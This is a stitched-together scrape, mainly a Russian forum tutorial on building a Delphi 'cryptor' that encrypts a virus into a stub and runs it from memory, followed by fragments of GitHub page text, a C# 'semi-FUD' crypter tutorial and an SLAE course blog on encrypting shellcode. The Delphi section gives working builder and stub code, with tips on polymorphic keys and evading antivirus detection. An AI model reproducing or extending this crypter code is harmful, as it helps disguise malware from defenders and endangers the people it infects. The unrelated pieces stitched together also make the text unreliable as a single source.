Делаем криптор
Привет, я вот-что подумал вечная делема, что победит лень или нездоровый интерес к чему-либо, в данном случае победил интерес, но речь сейчас не об этом !
Давно я хотел стырить у кого-нить код написать свой криптор, да и не просто криптор, а полиморфный и т.д. !
Но проблема в том, что мануалов с гулькин нос, в рунете практически нет, либо это голый код, прикалывают манулалы «Школоты», весь мануал это скопировать/вставить готовый код на каком-либо бейсике, при чём не разбираясь не в коде, не в сути и они считают что делают крутой криптор, гы-гы…
В общем-то, скажу я что написать простенький криптор не чуть не сложнее написания того-же Джойнера, читайте мою статью про Джойнер !
Что-то я отвлёкся, теперь по сути, долго я читал всякие мануалы, в основном в буржонете, что кстати не красит обилие наших хак. ресурсов, но и там никак понять немог нахуя как-же крутые Испанцы делают даже простенькие крипторы ?
Поняв что от статей толку мало для меня я начал анализировать исходники, благо умею и даже люблю читать иногда чужой код, если он более-менее нормально написан…
К сожалению (А может и к счастью) большинство крипторов пишут на бейсике, бейсик не знаю, далее идёт MicrosoftVisualC++, си мне ближе, но саму среду не знаю…
Остаётся что у нас, ассемблер – рано пока для меня, в этоге остаётся си билдер и делфи, на си билдере что-то исходников не нашёл, зато был у меня исходник протектора, да-да именно протектора, даже не криптора, причём этот протектор я нашёл на одном Испанском хак. сайте, давно хотел поковырять этот исходник, а сейчас как-раз предоставился такой шанс !
Что в этоге получил я, благодаря этому исходнику, мне получилось написать криптор на Делфи, не скажу что что-то супер получилось, но по крайне-мере теперь понятна суть и принцип…
В общем рискну написать мануал как-же создать свой криптор с нуля, пусть и на делфи, хотя думаю это ничуть не хуже тех-же бейсиков например !
В данном мануале как обычно ничего мега-сложного не будет, будет немного простого кода с комментариями и рассуждения как дальше жить, других-же качеств моих тем, надеюсь никто и не заметит !
Итак для начала поймём, что-же будет делать наш криптор:
1)Криптовать любой EXE-файл;
2)Не использовать доп. софт;
3)Запуск в памяти.
4)Криптор будет отчасти полиморфный, т.е. если закриптовать один и тот-же вирус, это будут разные файлы, почему-же отчастичитайте статью, потом объясню !
Как и в статье про Джойнер (кто читал) у нас будет две программы (Проекта):
1)Конструктор(Bulder) – Будет криптовать наш вирус, запихивать его в конец стаба,в общем-то и вся задача конструктора, имеет кстати ну просто изяшный интерфейс, я уже подал заявку на патент !

2)Стаб(Stub) – Это наши «Мозги», он расшифровывает вирус и запускает его в памяти, заметьте я не буду использовать в этой статье приёмы антиотладки, антиэмуляции и т.д., потому-что просто пока сам до этого не дошёл это во первых, а во вторых нам нужно уловить суть и написать совсем простецкий криптор.
1)Итак начнём с простого, с конструктора, как-обычно создаём проект делфи…
Начинаем кодить, также я расскажу суть, что должен делать конструктор и как реализовать…
Всё ну ОЧЕНЬ просто, конструктор записывает в конец нашего стаба зашифрованный вирус, теперь как реализовать ?
Реализовать ещё проще, помните наш Джойнер (Моя статья про Джойнер) ?
Если-да, то забудьте про него, там я так коряво всё реализовал, что даже стыдно стало, но да-ладно…
Читайте новый способ, реализации:
1)Считываем все данные из стаба в строку (Переменная типа String);
2)Шифруем эти данные (В данном случае XOR);
3)Далее заводим специальную стринговскую переменную, я завёл константу (Const
Del = ‘Pizda’;), что будет делать наша «Пизда», всё очень просто разделять нужные нам данные, сейчас поясню, в этоге мы получим такую строку данных:
FailCrypt=Stub + Del + Key + Del + CryptVirus;
Далее идёт ключ для расшифровки , потом разделитель и уже наш зашифрованный вирус !
Я не знаю понятно-нет ?
Но в стабе я покажу как разделять эти данные, тогда уже точно должно-быть понятно для чего-же придумали «Пизду» гы-гы-гы !
Итак немного прокомментирую код, но не весь, как обычно более подробно можете глянуть во вложении…
Начну с основной программы:
Кнопка «СТАРТ»:
[SRC]
procedure TForm1.Button2Click(Sender: TObject);
var
Stub: string;
FileNameVirus: string; //Наш закриптованный вирус .
Key: string;
CryptFile: string;
Const
Del = ‘Pizda’; //Это для разделения стаба, ключа и зашифрованного файла в данных
begin
Stub:= extractfilepath(paramstr(0)) + ‘\stub.exe’; //Открываем наш стаб
if not fileexists(stub) then exit; //Если не хуя не открылось то выходим.
Stub:= mfiletostr(stub); //Считываем наш стаб
Key:= ‘Fucking’; // Это наш ключ, гы-гы !
FileNameVirus:= edit1.Text; //Получаем путь до вируса, которого нужно криптонуть
if not fileexists(FileNameVirus) then exit; //Если нет пути, то выходим
FileNameVirus:= mfiletostr(FileNameVirus);//Считываем данные из файла вируса, для того-чтобы криптонуть
FileNameVirus:= xorizo(FileNameVirus, Key); //Криптуем эти данные с ключом Key
CryptFile:= Stub + Del + Key + Del + FileNameVirus; //Получаем Стаб + криптованный мусор
if savedialog1.Execute then
begin
mwritefilefromstr(CryptFile, savedialog1.FileName + ‘.exe’); //Здесь записываем это всё на диск, т.е. получаем в результате криптованный файл
showmessage(‘Закриптовалось . ‘);
end else
begin
showmessage(‘Что-то эа херь не сработала !’);
end;
end;
В основной программе я использовал самописные вспомогательные процедуры:
[/SRC]
1) Процедура считывает наш файл, получает FileName – это путь до файла, возвращает строку данных из файла:
[SRC]
Function mFileToStr(FileName: string): string;
var
sFile: HFile;
uBytes: Cardinal;
begin
sFile:= _lopen(PChar(FileName), OF_READ); //Открываем файл на чтение
uBytes:= GetFileSize(sFile, nil); //Получаем его размер
SetLength(Result, uBytes); // Устанавливаем размер равный нашему файлу (Result).
_lread(sfile, @reSult[1], uBytes); // Считываем данные из файла в result
_lclose(sFile);
end;
[/SRC]
2) Процедура записывает в наш файл данные, данные которые нужно записать будут в строке в формате String:
[SRC]
Procedure mWriteFileFromStr(data, FileName: string);
var
sFile: HFile;
uBytes: Cardinal;
begin
sFile:= _lcreat(PChar(FileName), 0); //Открываем файл
uBytes:= Length(data); //Получаем длинну наших данных
_lwrite(sFile, Data[1], uBytes); //Записываем данные в файл
_lclose(sFile);
end;
[/SRC]
3)Процедура шифрования Xor:
[SRC]
Function XORizo(Text, Pass: string): string;
var
i, p: integer;
Res: string;
begin
p:= 1;
for i:= 1 to Length(Text) do
begin
Res:= Res + Chr((Ord(Text) xor Length(Text)) XOR (Ord(Pass[p]) xor Length(Pass)));
inc(p);
if p > Length(Pass) then p:= 1;
end;
SetLength(Result, Length(Res));
Result:= Res;
end;
[/SRC]
2)Ну вот и добрались до стаба:
Создаём новый проект, выкидываем форму и прочее лабуду, т.к. чем меньше будет размер нашего стаба, тем лучше…
Разберёмся что делает стаб:
1)Считывает сам себя и получает данные в строке String:
[SRC]FailCrypt=Stub + Del + Key + Del + CryptVirus; [/SRC]
Этот способ кстати позволяет избежать статического задания размера стаба, вспомните опять-же мою статью про Джойнер !
2)Далее нам нужно расшифровать в память наш вирус CryptVirus, с ключом Key
3)Запуск в памяти, а вот тут-то самый смак, взял я специальную процедурку из исходника протектора
Процедурка большая, если интересно глянете исходник, думаю смысла нет его конкретно здесь анализировать, скажу-лишь как её юзать и поехали:
Всё просто:
[SRC]memoryexecute(@FileCrypt[1], », true);[/SRC]
ГДЕ:
@FileCrypt[1] – Указатель на строку данных нашего вируса;
‘’ – параметры запуска, я оставил пустые кавычки;
True – Обычный запуск, если будет FALSE– то будет скрытый запуск…
Можете поэксперементировать с этой процедуркой !
Теперь перейдём к коду нашего стаба:
1)Основная программа:
[SRC]
//***Основная программа*********************************************************
var
StubData: string;//Данные из стаба
FileCrypt: string; //Наш закриптованный вирус
Key: string; //Ключ для расшифровки XOR
TodoArray: TSArray;//Наш массив данных, который мы должны получить (Stub+Key+FileCrypt)
const
Delimitador: widestring = ‘Pizda’; //Наш разделитель !
begin
StubData:= mfiletostr(paramstr(0)); //Открываем сами себя и считываем данные в StubData, т.е. получаем строку из данных
TodoArray:= splitmetal(StubData, Delimitador); // Удаляем из этих данных разделитель Delimitador, что-бы получить читаемый массив и обращаться по эллементам !
Key:= TodoArray[1]; // В массиве: stub = 0-й эллемент; key = 1-ый эллемент; FileCrypt = 2-ый эллемент
FileCrypt:= TodoArray[2]; //Это мы получили строку данных нашего закриптованного вируса, нужно его рсшифровать с ключом Key
FileCrypt:= xorizo(FileCrypt, key);//Расшифровываем
memoryexecute(@FileCrypt[1], », true); //А вот эта функция запускает наш вирус из памяти !
end.
//******************************************************************************
[/SRC]
Немного правда ?
Я постарался сократить !
Я использовал самописные процедуры, про все я уже сказал в статье, остановлюсь лишь на одной:
Пришло время рассказать ещё раз про «Пизду», как-же разделить из кучи инфы нужные нам элементы ?
И опять-таки ничего сложного в этой задаче нет, вот процедурка:
В этой функции удаляем Delimitador, т.е. разделитель, что-бы получить читаемый массив и обращаться по эллементам (На выходе получим такой массив) !
[SRC]
function SplitMetal(Texto, Delimitador: string): TSarray;
var
o: integer;
PosDel: integer;
Aux: string;
begin
o := 0;
Aux := Texto;
setlength(Result, length(Aux));
repeat
PosDel := Pos(Delimitador, Aux) — 1;
if PosDel = -1 then
begin
Result[o] := Aux;
break;
end;
Result[o] := copy(Aux, 1, PosDel);
delete(Aux, 1, PosDel + length(Delimitador));
inc(o);
until Aux = »;
end;
[/SRC]
ГДЕ: Texto – Это прочитанные данные;
Delimitador – Это наша «Пизда»
Функция разделяет по строке Delimitador наши данные по элементам, потом мы можем спокойно обращаться к ним !
В этоге получим такой массив строк:
FailCrypt=Stub+Key+VirusCrypt
А потом можем обращаться к данным так:
Вроде всё, устал писать статью, надеюсь она поможет кому, будут вопросы задавайте с радостью отвечу !
Все исходники во вложении, пароль:111 !
И ещё про полиморфизм и детект:
Что-бы сделать криптор полиморфным можно как вариант, каждый раз задавать разный ключ для шифровки Key, у меня задаётся статически в исходниках, реализация этого функционала ложится на вас в билдере, гы-гы !
Теперь про детект, давайте подумаем какие средства антиотладки и антиэмуляции можно сюда внедрить что-бы вирус не палился при запуске…
Сейчас здесь ничего не реализовано в этом плане, поэтому рискну предположить, что будет детектить эвристика и спалится при запуске в памяти !
Name already in use
If nothing happens, download GitHub Desktop and try again.
Launching GitHub Desktop
If nothing happens, download GitHub Desktop and try again.
Launching Xcode
If nothing happens, download Xcode and try again.
Launching Visual Studio Code
Your codespace will open once ready.
There was a problem preparing your codespace, please try again.
Latest commit
Git stats
Files
Failed to load latest commit information.
README.md
Hi, today I will tell you how to make a simple Cryptor in C ++ WITHOUT using .NET and other nonsense.
Пишем свой криптор на C#.
Привет, black hat kiddies, сегодня мы напишем свой полу-FUD криптор на языке богов (no) C#.
Итак, прежде чем приступить к кодингу, разберём какие варианты крипторов есть:
- Имея байткод (любой .exe). То есть, вы сможете закриптовать файл, не зависимо от языка, на котором написана программа.
- Имея исходники. Этот вариант предназначен только под программы, написанные на одном (с криптором) ЯП.
- Крипторы с полиморфом/метаморфом. Если вкратце, то при помощи этих техник ваш криптор будет жить дольше, за счёт изменения кода файла, но при этом без изменения функционала.
В нашем случае мы будем писать криптор имея байткод. Приступим.
Первый затяг. Принцип работы нашего криптора. Код стаба.
В решении у нас будет два проекта. Стаб криптора, и сам криптор.
Криптор будет передавать зашифрованные байты стабу, а сам стаб их расшифрует, дропнет файл в рандомную папку, и запустит его. Звучит просто, да и на деле это будет несложно.
Создаём новый консольный проект:
Объявим необходимые юзинги:
И теперь сделаем метод дропа файла в рандом папку и его запуска:
Далее просто скопируйте три метода: RC4 — который отвечает за шифр байтов, StringToByteArray — конвертирует строку в массив байтов, и XOR — который отвечает за шифр строки,
И импортируйте их в проект:
Осталось "собрать" главный метод, и стаб готов. А главный метод выглядит так:
Стаб готов, теперь копируем весь код и создаём txt файл, в который помещаем наш код.
Второй затяг. Пишем GUI.
Создаём новый проект Windows Forms.
В конструкторе добавляем 2 textbox'a, 3 button'a, ну и пару label'ов:
Для кнопки выбора файла создаём диалоговое окно:
Добавим методы шифра, получения рандомной строки, конвертирования массива байтов в строку:
SLAE32 — Assingment-7(Create A Custom Crypter)
These tasks were the main steps in learning after the training videos during the SLAE certification process. It is really sad to be the last mission, but I have already planned my calendar for SLAE x86_64 training …
You can reach the relevant training from the link below.
You can find all the codes about this assignment in my github repository:
What is Encryption?
Encryption is the method by which information is converted into secret code that hides the information’s true meaning.
Cryptology is basically divided into two; symmetrical and asymmetrical cryptology. Symmetric algorithms have a single secret key but asymmetric algorithms use different keys.
I will examine the encryption methods in a different article, but you can review the resources below.
Encryption
In cryptography, encryption is the process of encoding information. This process converts the original representation…
8 Most Common Encryption Techniques To Save Private Data — RankRed
The world runs on code and ciphers. From your private conversations to online transactions, cryptography is involved in…
Symmetric encryption (article) | Khan Academy
If you're seeing this message, it means we're having trouble loading external resources on our website. If you're…
Creating A Custom Crypter
In this task, we need to create a custom crypter. Here, I will use Base64 encryption methods together with AES as the encryption method.
In fact, I would only use the base64 method with Base64 iterate, but the base64 encode method is now a very popular encode method in the cyber world.
Until this course, I was able to write my own crypter after seeing a few different applications while I didn’t even know what crpyter was and was eager to program with python. It is great to have a very strong language and ready-made libraries in terms of Python programming language and mathematical coding.
First I extract the shellcode I will encode from the executable file in the course material called execve-stack.
Now give this shellcode, which we have obtained, as an input to the crypto and get it encoded. In the screenshot below, the shellcode is successfully encoded with Base64 after AES encoding.
The shellcode encoded by Crypter is now fully complicated. Now we will convert this statement to shellcode and run it by decoder.